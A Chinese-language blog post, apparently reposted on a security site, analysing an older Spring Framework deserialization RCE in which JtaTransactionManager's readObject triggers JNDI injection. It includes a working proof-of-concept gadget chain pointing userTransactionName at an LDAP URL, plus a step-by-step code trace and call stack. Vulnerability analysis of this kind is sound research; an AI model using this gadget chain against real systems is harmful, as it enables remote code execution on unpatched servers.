Spring 反序列化 RCE 漏洞分析

admin 2021年3月25日18:15:29Spring 反序列化 RCE 漏洞分析已关闭评论270 views字数 2860阅读9分32秒阅读模式

说在前面

原标题叫 《Spring framework 反序列化 RCE 漏洞分析》 奈何只能输入 26 个字符以下,故叫 《Spring 反序列化 RCE 漏洞分析》
相关分析漏洞是一个几年前的漏洞,并非是最近刚出的。之所以分析这个漏洞是因为笔者在梳理 fastjson 历史补丁绕过的时候看到了这个漏洞的相关介绍,比起 fastjson 我认为这个漏洞更加简单和直接的揭示了 Java 反序列化和 JNDI 注入的联系
因此读这篇文章前可能需要有一些 Java 方面的前置知识
- Java 序列化以及反序列化
- JNDI 注入
- IDEA 调试

漏洞利用

为了帮助更好的理解这个漏洞,这里给出的 POC 很简略,省略掉了一些与漏洞不相关的启动恶意服务的代码
```java
import org.springframework.transaction.jta.JtaTransactionManager;

import java.io.*;

public class Demo01 {

public static void main(String[] args) throws IOException, ClassNotFoundException {

JtaTransactionManager myPOC = new JtaTransactionManager();

myPOC.setUserTransactionName("ldap://localhost:1389/#Calc");

ByteArrayOutputStream bos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(bos);

oos.writeObject(myPOC);

oos.close();

System.out.println(bos);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));

ois.readObject();

}

}
```

Spring 反序列化 RCE 漏洞分析

漏洞分析

相比于 fastjson 利用链,这个利用链已经极其简单,漏洞的核心是 JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,此类实现了 Serializable,

org.springframework.transaction.jta.JtaTransactionManager#readObject,这里调用了 initUserTransactionAndTransactionManager 进行一些处理

Spring 反序列化 RCE 漏洞分析

跟进其发现这里 this.lookupUserTransaction 里面的 this.userTransactionName 是我们可控的,它来自我们 POC 中 setUserTransactionName 的值

Spring 反序列化 RCE 漏洞分析

跟进 org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

Spring 反序列化 RCE 漏洞分析

上述核心语句为

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

先看这里

(UserTransaction)this.getJndiTemplate()

追溯 JndiTemplate 的附值,其来源于最开始的 JtaTransactionManager#readObject

Spring 反序列化 RCE 漏洞分析

因此会调用其 lookup 类,org.springframework.jndi.JndiTemplate#lookup(java.lang.String, java.lang.Class<T>),可以看出第二个参数在我们 gadget chain 里并没有什么影响

Spring 反序列化 RCE 漏洞分析

继续跟进 org.springframework.jndi.JndiTemplate#lookup(java.lang.String),这里来到了关键部分

Spring 反序列化 RCE 漏洞分析

先跟进 execute,这里会创建一个 ctx

Spring 反序列化 RCE 漏洞分析

跟进其 getContext, 其核心在 org.springframework.jndi.JndiTemplate#createInitialContext,这里初始上下文实现了Context接口,并提供了名称解析的起点

Spring 反序列化 RCE 漏洞分析

随后由于我们反序列化可控了最开始的 name 参数,导致最后这里 lookup 可控,造成了 JNDI 注入

Spring 反序列化 RCE 漏洞分析

调用栈
lookup:91, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doInContext:154, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:178, JndiTemplate (org.springframework.jndi)
lookupUserTransaction:546, JtaTransactionManager (org.springframework.transaction.jta)
initUserTransactionAndTransactionManager:426, JtaTransactionManager (org.springframework.transaction.jta)
readObject:1193, JtaTransactionManager (org.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:18, Demo01 (com.p2hm1n.springdemo)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月25日18:15:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring 反序列化 RCE 漏洞分析https://cn-sec.com/archives/299960.html